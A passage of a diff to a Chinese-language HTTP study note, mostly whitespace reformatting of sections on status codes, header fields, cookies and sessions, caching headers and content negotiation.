+发送请求时，在 Max-Forwards 首部字段中填入数值，每经过一个服务器就会减 1，当数值为 0 时就停止传输。
 
-通常不会使用 TRACE，并且它容易受到 XST 攻击（Cross-Site Tracing，跨站追踪）。
+通常不会使用 TRACE，并且它容易受到 XST 攻击（Cross-Site Tracing，跨站追踪）。
 
-# 三、HTTP 状态码
+# 三、HTTP 状态码
 
-服务器返回的 **响应报文** 中第一行为状态行，包含了状态码以及原因短语，用来告知客户端请求的结果。
+服务器返回的  **响应报文**  中第一行为状态行，包含了状态码以及原因短语，用来告知客户端请求的结果。
 
-| 状态码 | 类别 | 含义 |
-| :---: | :---: | :---: |
-| 1XX | Informational（信息性状态码） | 接收的请求正在处理 |
-| 2XX | Success（成功状态码） | 请求正常处理完毕 |
-| 3XX | Redirection（重定向状态码） | 需要进行附加操作以完成请求 |
-| 4XX | Client Error（客户端错误状态码） | 服务器无法处理请求 |
-| 5XX | Server Error（服务器错误状态码） | 服务器处理请求出错 |
+| 状态码 | 类别 | 含义 |
+| :---: | :---: | :---: |
+| 1XX | Informational（信息性状态码） | 接收的请求正在处理 |
+| 2XX | Success（成功状态码） | 请求正常处理完毕 |
+| 3XX | Redirection（重定向状态码） | 需要进行附加操作以完成请求 |
+| 4XX | Client Error（客户端错误状态码） | 服务器无法处理请求 |
+| 5XX | Server Error（服务器错误状态码） | 服务器处理请求出错 |
 
-## 1XX 信息
+## 1XX 信息
 
-- **100 Continue**：表明到目前为止都很正常，客户端可以继续发送请求或者忽略这个响应。
+-  **100 Continue** ：表明到目前为止都很正常，客户端可以继续发送请求或者忽略这个响应。
 
-## 2XX 成功
+## 2XX 成功
 
-- **200 OK**
+-  **200 OK** 
 
-- **204 No Content**：请求已经成功处理，但是返回的响应报文不包含实体的主体部分。一般在只需要从客户端往服务器发送信息，而不需要返回数据时使用。
+-  **204 No Content** ：请求已经成功处理，但是返回的响应报文不包含实体的主体部分。一般在只需要从客户端往服务器发送信息，而不需要返回数据时使用。
 
-- **206 Partial Content**：表示客户端进行了范围请求，响应报文包含由 Content-Range 指定范围的实体内容。
+-  **206 Partial Content** ：表示客户端进行了范围请求，响应报文包含由 Content-Range 指定范围的实体内容。
 
-## 3XX 重定向
+## 3XX 重定向
 
-- **301 Moved Permanently**：永久性重定向
+-  **301 Moved Permanently** ：永久性重定向
 
-- **302 Found**：临时性重定向
+-  **302 Found** ：临时性重定向
 
-- **303 See Other**：和 302 有着相同的功能，但是 303 明确要求客户端应该采用 GET 方法获取资源。
+-  **303 See Other** ：和 302 有着相同的功能，但是 303 明确要求客户端应该采用 GET 方法获取资源。
 
-- 注：虽然 HTTP 协议规定 301、302 状态下重定向时不允许把 POST 方法改成 GET 方法，但是大多数浏览器都会在 301、302 和 303 状态下的重定向把 POST 方法改成 GET 方法。
+- 注：虽然 HTTP 协议规定 301、302 状态下重定向时不允许把 POST 方法改成 GET 方法，但是大多数浏览器都会在 301、302 和 303 状态下的重定向把 POST 方法改成 GET 方法。
 
-- **304 Not Modified**：如果请求报文首部包含一些条件，例如：If-Match，If-Modified-Since，If-None-Match，If-Range，If-Unmodified-Since，如果不满足条件，则服务器会返回 304 状态码。
+-  **304 Not Modified** ：如果请求报文首部包含一些条件，例如：If-Match，If-Modified-Since，If-None-Match，If-Range，If-Unmodified-Since，如果不满足条件，则服务器会返回 304 状态码。
 
-- **307 Temporary Redirect**：临时重定向，与 302 的含义类似，但是 307 要求浏览器不会把重定向请求的 POST 方法改成 GET 方法。
+-  **307 Temporary Redirect** ：临时重定向，与 302 的含义类似，但是 307 要求浏览器不会把重定向请求的 POST 方法改成 GET 方法。
 
-## 4XX 客户端错误
+## 4XX 客户端错误
 
-- **400 Bad Request**：请求报文中存在语法错误。
+-  **400 Bad Request** ：请求报文中存在语法错误。
 
-- **401 Unauthorized**：该状态码表示发送的请求需要有认证信息（BASIC 认证、DIGEST 认证）。如果之前已进行过一次请求，则表示用户认证失败。
+-  **401 Unauthorized** ：该状态码表示发送的请求需要有认证信息（BASIC 认证、DIGEST 认证）。如果之前已进行过一次请求，则表示用户认证失败。
 
-- **403 Forbidden**：请求被拒绝。
+-  **403 Forbidden** ：请求被拒绝。
 
-- **404 Not Found**
+-  **404 Not Found** 
 
-## 5XX 服务器错误
+## 5XX 服务器错误
 
-- **500 Internal Server Error**：服务器正在执行请求时发生错误。
+-  **500 Internal Server Error** ：服务器正在执行请求时发生错误。
 
-- **503 Service Unavailable**：服务器暂时处于超负载或正在进行停机维护，现在无法处理请求。
+-  **503 Service Unavailable** ：服务器暂时处于超负载或正在进行停机维护，现在无法处理请求。
 
-# 四、HTTP 首部
+# 四、HTTP 首部
 
-有 4 种类型的首部字段：通用首部字段、请求首部字段、响应首部字段和实体首部字段。
+有 4 种类型的首部字段：通用首部字段、请求首部字段、响应首部字段和实体首部字段。
 
 各种首部字段及其含义如下（不需要全记，仅供查阅）：
 
-## 通用首部字段
+## 通用首部字段
 
-| 首部字段名 | 说明 |
-| :--: | :--: |
-| Cache-Control | 控制缓存的行为 |
-| Connection | 控制不再转发给代理的首部字段、管理持久连接|
-| Date | 创建报文的日期时间 |
-| Pragma | 报文指令 |
-| Trailer | 报文末端的首部一览 |
-| Transfer-Encoding | 指定报文主体的传输编码方式 |
-| Upgrade | 升级为其他协议 |
-| Via | 代理服务器的相关信息 |
-| Warning | 错误通知 |
+| 首部字段名 | 说明 |
+| :--: | :--: |
+| Cache-Control | 控制缓存的行为 |
+| Connection | 控制不再转发给代理的首部字段、管理持久连接|
+| Date | 创建报文的日期时间 |
+| Pragma | 报文指令 |
+| Trailer | 报文末端的首部一览 |
+| Transfer-Encoding | 指定报文主体的传输编码方式 |
+| Upgrade | 升级为其他协议 |
+| Via | 代理服务器的相关信息 |
+| Warning | 错误通知 |
 
-## 请求首部字段
+## 请求首部字段
 
-| 首部字段名 | 说明 |
-| :--: | :--: |
-| Accept | 用户代理可处理的媒体类型 |
-| Accept-Charset | 优先的字符集 |
-| Accept-Encoding | 优先的内容编码 |
-| Accept-Language | 优先的语言（自然语言） |
-| Authorization | Web 认证信息 |
-| Expect | 期待服务器的特定行为 |
-| From | 用户的电子邮箱地址 |
-| Host | 请求资源所在服务器 |
-| If-Match | 比较实体标记（ETag） |
-| If-Modified-Since | 比较资源的更新时间 |
-| If-None-Match | 比较实体标记（与 If-Match 相反） |
-| If-Range | 资源未更新时发送实体 Byte 的范围请求 |
-| If-Unmodified-Since | 比较资源的更新时间（与 If-Modified-Since 相反） |
-| Max-Forwards | 最大传输逐跳数 |
-| Proxy-Authorization | 代理服务器要求客户端的认证信息 |
-| Range | 实体的字节范围请求 |
-| Referer | 对请求中 URI 的原始获取方 |
-| TE | 传输编码的优先级 |
-| User-Agent | HTTP 客户端程序的信息 |
+| 首部字段名 | 说明 |
+| :--: | :--: |
+| Accept | 用户代理可处理的媒体类型 |
+| Accept-Charset | 优先的字符集 |
+| Accept-Encoding | 优先的内容编码 |
+| Accept-Language | 优先的语言（自然语言） |
+| Authorization | Web 认证信息 |
+| Expect | 期待服务器的特定行为 |
+| From | 用户的电子邮箱地址 |
+| Host | 请求资源所在服务器 |
+| If-Match | 比较实体标记（ETag） |
+| If-Modified-Since | 比较资源的更新时间 |
+| If-None-Match | 比较实体标记（与 If-Match 相反） |
+| If-Range | 资源未更新时发送实体 Byte 的范围请求 |
+| If-Unmodified-Since | 比较资源的更新时间（与 If-Modified-Since 相反） |
+| Max-Forwards | 最大传输逐跳数 |
+| Proxy-Authorization | 代理服务器要求客户端的认证信息 |
+| Range | 实体的字节范围请求 |
+| Referer | 对请求中 URI 的原始获取方 |
+| TE | 传输编码的优先级 |
+| User-Agent | HTTP 客户端程序的信息 |
 
-## 响应首部字段
+## 响应首部字段
 
-| 首部字段名 | 说明 |
-| :--: | :--: |
-| Accept-Ranges | 是否接受字节范围请求 |
-| Age | 推算资源创建经过时间 |
-| ETag | 资源的匹配信息 |
-| Location | 令客户端重定向至指定 URI |
-| Proxy-Authenticate | 代理服务器对客户端的认证信息 |
-| Retry-After | 对再次发起请求的时机要求 |
-| Server | HTTP 服务器的安装信息 |
-| Vary | 代理服务器缓存的管理信息 |
-| WWW-Authenticate | 服务器对客户端的认证信息 |
+| 首部字段名 | 说明 |
+| :--: | :--: |
+| Accept-Ranges | 是否接受字节范围请求 |
+| Age | 推算资源创建经过时间 |
+| ETag | 资源的匹配信息 |
+| Location | 令客户端重定向至指定 URI |
+| Proxy-Authenticate | 代理服务器对客户端的认证信息 |
+| Retry-After | 对再次发起请求的时机要求 |
+| Server | HTTP 服务器的安装信息 |
+| Vary | 代理服务器缓存的管理信息 |
+| WWW-Authenticate | 服务器对客户端的认证信息 |
 
-## 实体首部字段
+## 实体首部字段
 
-| 首部字段名 | 说明 |
-| :--: | :--: |
-| Allow | 资源可支持的 HTTP 方法 |
-| Content-Encoding | 实体主体适用的编码方式 |
-| Content-Language | 实体主体的自然语言 |
-| Content-Length | 实体主体的大小 |
-| Content-Location | 替代对应资源的 URI |
-| Content-MD5 | 实体主体的报文摘要 |
-| Content-Range | 实体主体的位置范围 |
-| Content-Type | 实体主体的媒体类型 |
-| Expires | 实体主体过期的日期时间 |
-| Last-Modified | 资源的最后修改日期时间 |
+| 首部字段名 | 说明 |
+| :--: | :--: |
+| Allow | 资源可支持的 HTTP 方法 |
+| Content-Encoding | 实体主体适用的编码方式 |
+| Content-Language | 实体主体的自然语言 |
+| Content-Length | 实体主体的大小 |
+| Content-Location | 替代对应资源的 URI |
+| Content-MD5 | 实体主体的报文摘要 |
+| Content-Range | 实体主体的位置范围 |
+| Content-Type | 实体主体的媒体类型 |
+| Expires | 实体主体过期的日期时间 |
+| Last-Modified | 资源的最后修改日期时间 |
 
-# 五、具体应用
+# 五、具体应用
 
-## 连接管理
+## 连接管理
 
-<img src="index_files/HTTP1_x_Connections.png" width="800"/>
+<div align="center"> <img src="pics/HTTP1_x_Connections.png" width="800"/> </div><br>
 
-### 1. 短连接与长连接
+### 1. 短连接与长连接
 
-当浏览器访问一个包含多张图片的 HTML 页面时，除了请求访问 HTML 页面资源，还会请求图片资源。如果每进行一次 HTTP 通信就要新建一个 TCP 连接，那么开销会很大。
+当浏览器访问一个包含多张图片的 HTML 页面时，除了请求访问 HTML 页面资源，还会请求图片资源。如果每进行一次 HTTP 通信就要新建一个 TCP 连接，那么开销会很大。
 
-长连接只需要建立一次 TCP 连接就能进行多次 HTTP 通信。
+长连接只需要建立一次 TCP 连接就能进行多次 HTTP 通信。
 
-- 从 HTTP/1.1 开始默认是长连接的，如果要断开连接，需要由客户端或者服务器端提出断开，使用 `Connection : close`；
-- 在 HTTP/1.1 之前默认是短连接的，如果需要使用长连接，则使用 `Connection : Keep-Alive`。
+- 从 HTTP/1.1 开始默认是长连接的，如果要断开连接，需要由客户端或者服务器端提出断开，使用 `Connection : close`；
+- 在 HTTP/1.1 之前默认是短连接的，如果需要使用长连接，则使用 `Connection : Keep-Alive`。
 
-### 2. 流水线
+### 2. 流水线
 
-默认情况下，HTTP 请求是按顺序发出的，下一个请求只有在当前请求收到响应之后才会被发出。由于会受到网络延迟和带宽的限制，在下一个请求被发送到服务器之前，可能需要等待很长时间。
+默认情况下，HTTP 请求是按顺序发出的，下一个请求只有在当前请求收到响应之后才会被发出。由于会受到网络延迟和带宽的限制，在下一个请求被发送到服务器之前，可能需要等待很长时间。
 
 流水线是在同一条长连接上发出连续的请求，而不用等待响应返回，这样可以避免连接延迟。
 
-## Cookie
+## Cookie
 
-HTTP 协议是无状态的，主要是为了让 HTTP 协议尽可能简单，使得它能够处理大量事务。HTTP/1.1 引入 Cookie 来保存状态信息。
+HTTP 协议是无状态的，主要是为了让 HTTP 协议尽可能简单，使得它能够处理大量事务。HTTP/1.1 引入 Cookie 来保存状态信息。
 
-Cookie 是服务器发送到用户浏览器并保存在本地的一小块数据，它会在浏览器之后向同一服务器再次发起请求时被携带上，用于告知服务端两个请求是否来自同一浏览器。由于之后每次请求都会需要携带 Cookie 数据，因此会带来额外的性能开销（尤其是在移动环境下）。
+Cookie 是服务器发送到用户浏览器并保存在本地的一小块数据，它会在浏览器之后向同一服务器再次发起请求时被携带上，用于告知服务端两个请求是否来自同一浏览器。由于之后每次请求都会需要携带 Cookie 数据，因此会带来额外的性能开销（尤其是在移动环境下）。
 
-Cookie 曾一度用于客户端数据的存储，因为当时并没有其它合适的存储办法而作为唯一的存储手段，但现在随着现代浏览器开始支持各种各样的存储方式，Cookie 渐渐被淘汰。新的浏览器 API 已经允许开发者直接将数据存储到本地，如使用 Web storage API（本地存储和会话存储）或 IndexedDB。
+Cookie 曾一度用于客户端数据的存储，因为当时并没有其它合适的存储办法而作为唯一的存储手段，但现在随着现代浏览器开始支持各种各样的存储方式，Cookie 渐渐被淘汰。新的浏览器 API 已经允许开发者直接将数据存储到本地，如使用 Web storage API（本地存储和会话存储）或 IndexedDB。
 
-### 1. 用途
+### 1. 用途
 
-- 会话状态管理（如用户登录状态、购物车、游戏分数或其它需要记录的信息）
-- 个性化设置（如用户自定义设置、主题等）
-- 浏览器行为跟踪（如跟踪分析用户行为等）
+- 会话状态管理（如用户登录状态、购物车、游戏分数或其它需要记录的信息）
+- 个性化设置（如用户自定义设置、主题等）
+- 浏览器行为跟踪（如跟踪分析用户行为等）
 
-### 2. 创建过程
+### 2. 创建过程
 
-服务器发送的响应报文包含 Set-Cookie 首部字段，客户端得到响应报文后把 Cookie 内容保存到浏览器中。
+服务器发送的响应报文包含 Set-Cookie 首部字段，客户端得到响应报文后把 Cookie 内容保存到浏览器中。
 
 ```html
-HTTP/1.0 200 OK
-Content-type: text/html
-Set-Cookie: yummy_cookie=choco
-Set-Cookie: tasty_cookie=strawberry
+HTTP/1.0 200 OK
+Content-type: text/html
+Set-Cookie: yummy_cookie=choco
+Set-Cookie: tasty_cookie=strawberry
 
-[page content]
+[page content]
 ```
 
-客户端之后对同一个服务器发送请求时，会从浏览器中取出 Cookie 信息并通过 Cookie 请求首部字段发送给服务器。
+客户端之后对同一个服务器发送请求时，会从浏览器中取出 Cookie 信息并通过 Cookie 请求首部字段发送给服务器。
 
 ```html
-GET /sample_page.html HTTP/1.1
-Host: www.example.org
-Cookie: yummy_cookie=choco; tasty_cookie=strawberry
+GET /sample_page.html HTTP/1.1
+Host: www.example.org
+Cookie: yummy_cookie=choco; tasty_cookie=strawberry
 ```
 
-### 3. 分类
+### 3. 分类
 
-- 会话期 Cookie：浏览器关闭之后它会被自动删除，也就是说它仅在会话期内有效。
-- 持久性 Cookie：指定一个特定的过期时间（Expires）或有效期（max-age）之后就成为了持久性的 Cookie。
+- 会话期 Cookie：浏览器关闭之后它会被自动删除，也就是说它仅在会话期内有效。
+- 持久性 Cookie：指定一个特定的过期时间（Expires）或有效期（max-age）之后就成为了持久性的 Cookie。
 
 ```html
-Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
+Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
 ```
 
-### 4. 作用域
+### 4. 作用域
 
-Domain 标识指定了哪些主机可以接受 Cookie。如果不指定，默认为当前文档的主机（不包含子域名）。如果指定了 Domain，则一般包含子域名。例如，如果设置 Domain=mozilla.org，则 Cookie 也包含在子域名中（如 developer.mozilla.org）。
+Domain 标识指定了哪些主机可以接受 Cookie。如果不指定，默认为当前文档的主机（不包含子域名）。如果指定了 Domain，则一般包含子域名。例如，如果设置 Domain=mozilla.org，则 Cookie 也包含在子域名中（如 developer.mozilla.org）。
 
-Path 标识指定了主机下的哪些路径可以接受 Cookie（该 URL 路径必须存在于请求 URL 中）。以字符 %x2F ("/") 作为路径分隔符，子路径也会被匹配。例如，设置 Path=/docs，则以下地址都会匹配：
+Path 标识指定了主机下的哪些路径可以接受 Cookie（该 URL 路径必须存在于请求 URL 中）。以字符 %x2F ("/") 作为路径分隔符，子路径也会被匹配。例如，设置 Path=/docs，则以下地址都会匹配：
 
-- /docs
-- /docs/Web/
-- /docs/Web/HTTP
+- /docs
+- /docs/Web/
+- /docs/Web/HTTP
 
-### 5. JavaScript
+### 5. JavaScript
 
-通过 `document.cookie` 属性可创建新的 Cookie，也可通过该属性访问非 HttpOnly 标记的 Cookie。
+通过 `document.cookie` 属性可创建新的 Cookie，也可通过该属性访问非 HttpOnly 标记的 Cookie。
 
 ```html
-document.cookie = "yummy_cookie=choco";
-document.cookie = "tasty_cookie=strawberry";
+document.cookie = "yummy_cookie=choco";
+document.cookie = "tasty_cookie=strawberry";
 console.log(document.cookie);
 ```
 
-### 6. HttpOnly
+### 6. HttpOnly
 
-标记为 HttpOnly 的 Cookie 不能被 JavaScript 脚本调用。跨站脚本攻击 (XSS) 常常使用 JavaScript 的 `document.cookie` API 窃取用户的 Cookie 信息，因此使用 HttpOnly 标记可以在一定程度上避免 XSS 攻击。
+标记为 HttpOnly 的 Cookie 不能被 JavaScript 脚本调用。跨站脚本攻击 (XSS) 常常使用 JavaScript 的 `document.cookie` API 窃取用户的 Cookie 信息，因此使用 HttpOnly 标记可以在一定程度上避免 XSS 攻击。
 
 ```html
-Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
+Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
 ```
 
-### 7. Secure
+### 7. Secure
 
-标记为 Secure 的 Cookie 只能通过被 HTTPS 协议加密过的请求发送给服务端。但即便设置了 Secure 标记，敏感信息也不应该通过 Cookie 传输，因为 Cookie 有其固有的不安全性，Secure 标记也无法提供确实的安全保障。
+标记为 Secure 的 Cookie 只能通过被 HTTPS 协议加密过的请求发送给服务端。但即便设置了 Secure 标记，敏感信息也不应该通过 Cookie 传输，因为 Cookie 有其固有的不安全性，Secure 标记也无法提供确实的安全保障。
 
-### 8. Session
+### 8. Session
 
-除了可以将用户信息通过 Cookie 存储在用户浏览器中，也可以利用 Session 存储在服务器端，存储在服务器端的信息更加安全。
+除了可以将用户信息通过 Cookie 存储在用户浏览器中，也可以利用 Session 存储在服务器端，存储在服务器端的信息更加安全。
 
-Session 可以存储在服务器上的文件、数据库或者内存中。也可以将 Session 存储在 Redis 这种内存型数据库中，效率会更高。
+Session 可以存储在服务器上的文件、数据库或者内存中。也可以将 Session 存储在 Redis 这种内存型数据库中，效率会更高。
 
-使用 Session 维护用户登录状态的过程如下：
+使用 Session 维护用户登录状态的过程如下：
 
-- 用户进行登录时，用户提交包含用户名和密码的表单，放入 HTTP 请求报文中；
-- 服务器验证该用户名和密码，如果正确则把用户信息存储到 Redis 中，它在 Redis 中的 Key 称为 Session ID；
-- 服务器返回的响应报文的 Set-Cookie 首部字段包含了这个 Session ID，客户端收到响应报文之后将该 Cookie 值存入浏览器中；
-- 客户端之后对同一个服务器进行请求时会包含该 Cookie 值，服务器收到之后提取出 Session ID，从 Redis 中取出用户信息，继续之前的业务操作。
+- 用户进行登录时，用户提交包含用户名和密码的表单，放入 HTTP 请求报文中；
+- 服务器验证该用户名和密码，如果正确则把用户信息存储到 Redis 中，它在 Redis 中的 Key 称为 Session ID；
+- 服务器返回的响应报文的 Set-Cookie 首部字段包含了这个 Session ID，客户端收到响应报文之后将该 Cookie 值存入浏览器中；
+- 客户端之后对同一个服务器进行请求时会包含该 Cookie 值，服务器收到之后提取出 Session ID，从 Redis 中取出用户信息，继续之前的业务操作。
 
-应该注意 Session ID 的安全性问题，不能让它被恶意攻击者轻易获取，那么就不能产生一个容易被猜到的 Session ID 值。此外，还需要经常重新生成 Session ID。在对安全性要求极高的场景下，例如转账等操作，除了使用 Session 管理用户状态之外，还需要对用户进行重新验证，比如重新输入密码，或者使用短信验证码等方式。
+应该注意 Session ID 的安全性问题，不能让它被恶意攻击者轻易获取，那么就不能产生一个容易被猜到的 Session ID 值。此外，还需要经常重新生成 Session ID。在对安全性要求极高的场景下，例如转账等操作，除了使用 Session 管理用户状态之外，还需要对用户进行重新验证，比如重新输入密码，或者使用短信验证码等方式。
 
-### 9. 浏览器禁用 Cookie
+### 9. 浏览器禁用 Cookie
 
-此时无法使用 Cookie 来保存用户信息，只能使用 Session。除此之外，不能再将 Session ID 存放到 Cookie 中，而是使用 URL 重写技术，将 Session ID 作为 URL 的参数进行传递。
+此时无法使用 Cookie 来保存用户信息，只能使用 Session。除此之外，不能再将 Session ID 存放到 Cookie 中，而是使用 URL 重写技术，将 Session ID 作为 URL 的参数进行传递。
 
-### 10. Cookie 与 Session 选择
+### 10. Cookie 与 Session 选择
 
-- Cookie 只能存储 ASCII 码字符串，而 Session 则可以存取任何类型的数据，因此在考虑数据复杂性时首选 Session；
-- Cookie 存储在浏览器中，容易被恶意查看。如果非要将一些隐私数据存在 Cookie 中，可以将 Cookie 值进行加密，然后在服务器进行解密；
-- 对于大型网站，如果用户所有的信息都存储在 Session 中，那么开销是非常大的，因此不建议将所有的用户信息都存储到 Session 中。
+- Cookie 只能存储 ASCII 码字符串，而 Session 则可以存取任何类型的数据，因此在考虑数据复杂性时首选 Session；
+- Cookie 存储在浏览器中，容易被恶意查看。如果非要将一些隐私数据存在 Cookie 中，可以将 Cookie 值进行加密，然后在服务器进行解密；
+- 对于大型网站，如果用户所有的信息都存储在 Session 中，那么开销是非常大的，因此不建议将所有的用户信息都存储到 Session 中。
 
-## 缓存
+## 缓存
 
-### 1. 优点
+### 1. 优点
 
-- 缓解服务器压力；
-- 降低客户端获取资源的延迟：缓存通常位于内存中，读取缓存的速度更快。并且缓存在地理位置上也有可能比源服务器来得近，例如浏览器缓存。
+- 缓解服务器压力；
+- 降低客户端获取资源的延迟：缓存通常位于内存中，读取缓存的速度更快。并且缓存在地理位置上也有可能比源服务器来得近，例如浏览器缓存。
 
-### 2. 实现方法
+### 2. 实现方法
 
-- 让代理服务器进行缓存；
-- 让客户端浏览器进行缓存。
+- 让代理服务器进行缓存；
+- 让客户端浏览器进行缓存。
 
-### 3. Cache-Control
+### 3. Cache-Control
 
-HTTP/1.1 通过 Cache-Control 首部字段来控制缓存。
+HTTP/1.1 通过 Cache-Control 首部字段来控制缓存。
 
-**3.1 禁止进行缓存**
+**3.1 禁止进行缓存** 
 
-no-store 指令规定不能对请求或响应的任何一部分进行缓存。
+no-store 指令规定不能对请求或响应的任何一部分进行缓存。
 
 ```html
-Cache-Control: no-store
+Cache-Control: no-store
 ```
 
-**3.2 强制确认缓存**
+**3.2 强制确认缓存** 
 
-no-cache 指令规定缓存服务器需要先向源服务器验证缓存资源的有效性，只有当缓存资源有效才将能使用该缓存对客户端的请求进行响应。
+no-cache 指令规定缓存服务器需要先向源服务器验证缓存资源的有效性，只有当缓存资源有效才将能使用该缓存对客户端的请求进行响应。
 
 ```html
-Cache-Control: no-cache
+Cache-Control: no-cache
 ```
 
-**3.3 私有缓存和公共缓存**
+**3.3 私有缓存和公共缓存** 
 
-private 指令规定了将资源作为私有缓存，只能被单独用户所使用，一般存储在用户浏览器中。
+private 指令规定了将资源作为私有缓存，只能被单独用户所使用，一般存储在用户浏览器中。
 
 ```html
-Cache-Control: private
+Cache-Control: private
 ```
 
-public 指令规定了将资源作为公共缓存，可以被多个用户所使用，一般存储在代理服务器中。
+public 指令规定了将资源作为公共缓存，可以被多个用户所使用，一般存储在代理服务器中。
 
 ```html
-Cache-Control: public
+Cache-Control: public
 ```
 
-**3.4 缓存过期机制**
+**3.4 缓存过期机制** 
 
-max-age 指令出现在请求报文中，并且缓存资源的缓存时间小于该指令指定的时间，那么就能接受该缓存。
+max-age 指令出现在请求报文中，并且缓存资源的缓存时间小于该指令指定的时间，那么就能接受该缓存。
 
-max-age 指令出现在响应报文中，表示缓存资源在缓存服务器中保存的时间。
+max-age 指令出现在响应报文中，表示缓存资源在缓存服务器中保存的时间。
 
 ```html
-Cache-Control: max-age=31536000
+Cache-Control: max-age=31536000
 ```
 
-Expires 首部字段也可以用于告知缓存服务器该资源什么时候会过期。
+Expires 首部字段也可以用于告知缓存服务器该资源什么时候会过期。
 
 ```html
-Expires: Wed, 04 Jul 2012 08:26:05 GMT
+Expires: Wed, 04 Jul 2012 08:26:05 GMT
 ```
 
-- 在 HTTP/1.1 中，会优先处理 max-age 指令；
-- 在 HTTP/1.0 中，max-age 指令会被忽略掉。
+- 在 HTTP/1.1 中，会优先处理 max-age 指令；
+- 在 HTTP/1.0 中，max-age 指令会被忽略掉。
 
-### 4. 缓存验证
+### 4. 缓存验证
 
-需要先了解 ETag 首部字段的含义，它是资源的唯一标识。URL 不能唯一表示资源，例如 `http://www.google.com/` 有中文和英文两个资源，只有 ETag 才能对这两个资源进行唯一标识。
+需要先了解 ETag 首部字段的含义，它是资源的唯一标识。URL 不能唯一表示资源，例如 `http://www.google.com/` 有中文和英文两个资源，只有 ETag 才能对这两个资源进行唯一标识。
 
 ```html
-ETag: "82e22293907ce725faf67773957acd12"
+ETag: "82e22293907ce725faf67773957acd12"
 ```
 
-可以将缓存资源的 ETag 值放入 If-None-Match 首部，服务器收到该请求后，判断缓存资源的 ETag 值和资源的最新 ETag 值是否一致，如果一致则表示缓存资源有效，返回 304 Not Modified。
+可以将缓存资源的 ETag 值放入 If-None-Match 首部，服务器收到该请求后，判断缓存资源的 ETag 值和资源的最新 ETag 值是否一致，如果一致则表示缓存资源有效，返回 304 Not Modified。
 
 ```html
-If-None-Match: "82e22293907ce725faf67773957acd12"
+If-None-Match: "82e22293907ce725faf67773957acd12"
 ```
 
-Last-Modified 首部字段也可以用于缓存验证，它包含在源服务器发送的响应报文中，指示源服务器对资源的最后修改时间。但是它是一种弱校验器，因为只能精确到一秒，所以它通常作为 ETag 的备用方案。如果响应首部字段里含有这个信息，客户端可以在后续的请求中带上 If-Modified-Since 来验证缓存。服务器只在所请求的资源在给定的日期时间之后对内容进行过修改的情况下才会将资源返回，状态码为 200 OK。如果请求的资源从那时起未经修改，那么返回一个不带有消息主体的 304 Not Modified 响应。
+Last-Modified 首部字段也可以用于缓存验证，它包含在源服务器发送的响应报文中，指示源服务器对资源的最后修改时间。但是它是一种弱校验器，因为只能精确到一秒，所以它通常作为 ETag 的备用方案。如果响应首部字段里含有这个信息，客户端可以在后续的请求中带上 If-Modified-Since 来验证缓存。服务器只在所请求的资源在给定的日期时间之后对内容进行过修改的情况下才会将资源返回，状态码为 200 OK。如果请求的资源从那时起未经修改，那么返回一个不带有消息主体的 304 Not Modified 响应。
 
 ```html
-Last-Modified: Wed, 21 Oct 2015 07:28:00 GMT
+Last-Modified: Wed, 21 Oct 2015 07:28:00 GMT
 ```
 
 ```html
-If-Modified-Since: Wed, 21 Oct 2015 07:28:00 GMT
+If-Modified-Since: Wed, 21 Oct 2015 07:28:00 GMT
 ```
 
-## 内容协商
+## 内容协商
 
 通过内容协商返回最合适的内容，例如根据浏览器的默认语言选择返回中文界面还是英文界面。
 
-### 1. 类型
+### 1. 类型
 
-**1.1 服务端驱动型**
+**1.1 服务端驱动型** 
 
-客户端设置特定的 HTTP 首部字段，例如 Accept、Accept-Charset、Accept-Encoding、Accept-Language，服务器根据这些字段返回特定的资源。
+客户端设置特定的 HTTP 首部字段，例如 Accept、Accept-Charset、Accept-Encoding、Accept-Language，服务器根据这些字段返回特定的资源。
 
 它存在以下问题：
 
-- 服务器很难知道客户端浏览器的全部信息；
-- 客户端提供的信息相当冗长（HTTP/2 协议的首部压缩机制缓解了这个问题），并且存在隐私风险（HTTP 指纹识别技术）；
-- 给定的资源需要返回不同的展现形式，共享缓存的效率会降低，而服务器端的实现会越来越复杂。
+- 服务器很难知道客户端浏览器的全部信息；
+- 客户端提供的信息相当冗长（HTTP/2 协议的首部压缩机制缓解了这个问题），并且存在隐私风险（HTTP 指纹识别技术）；
+- 给定的资源需要返回不同的展现形式，共享缓存的效率会降低，而服务器端的实现会越来越复杂。
 
-**1.2 代理驱动型**
+**1.2 代理驱动型** 
 
-服务器返回 300 Multiple Choices 或者 406 Not Acceptable，客户端从中选出最合适的那个资源。
+服务器返回 300 Multiple Choices 或者 406 Not Acceptable，客户端从中选出最合适的那个资源。
 
-### 2. Vary
+### 2. Vary
 
 ```html
-Vary: Accept-Language
+Vary: Accept-Language
 ```
 
 在使用内容协商的情况下，只有当缓存服务器中的缓存满足内容协商条件时，才能使用该缓存，否则应该向源服务器请求该资源。
 
-例如，一个客户端发送了一个包含 Accept-Language 首部字段的请求之后，源服务器返回的响应包含 `Vary: Accept-Language` 内容，缓存服务器对这个响应进行缓存之后，在客户端下一次访问同一个 URL 资源，并且 Accept-Language 与缓存中的对应的值相同时才会返回该缓存。
+例如，一个客户端发送了一个包含 Accept-Language 首部字段的请求之后，源服务器返回的响应包含 `Vary: Accept-Language` 内容，缓存服务器对这个响应进行缓存之后，在客户端下一次访问同一个 URL 资源，并且 Accept-Language 与缓存中的对应的值相同时才会返回该缓存。
 
-## 内容编码
+## 内容编码
 
 内容编码将实体主体进行压缩，从而减少传输的数据量。
 
 常用的内容编码有：gzip、compress、deflate、identity。
 
-浏览器发送 Accept-Encoding 首部，其中包含有它所支持的压缩算法，以及各自的优先级。服务器则从中选择一种，使用该算法对响应的消息主体进行压缩，并且发送 Content-Encoding 首部来告知浏览器它选择了哪一种算法。由于该内容协商过程是基于编码类型来选择资源的展现形式的，在响应的 Vary 首部至少要包含 Content-Encoding。
+浏览器发送 Accept-Encoding 首部，其中包含有它所支持的压缩算法，以及各自的优先级。服务器则从中选择一种，使用该算法对响应的消息主体进行压缩，并且发送 Content-Encoding 首部来告知浏览器它选择了哪一种算法。由于该内容协商过程是基于编码类型来选择资源的展现形式的，在响应的 Vary 首部至少要包含 Content-Encoding。
 
-## 范围请求
+## 范围请求
 
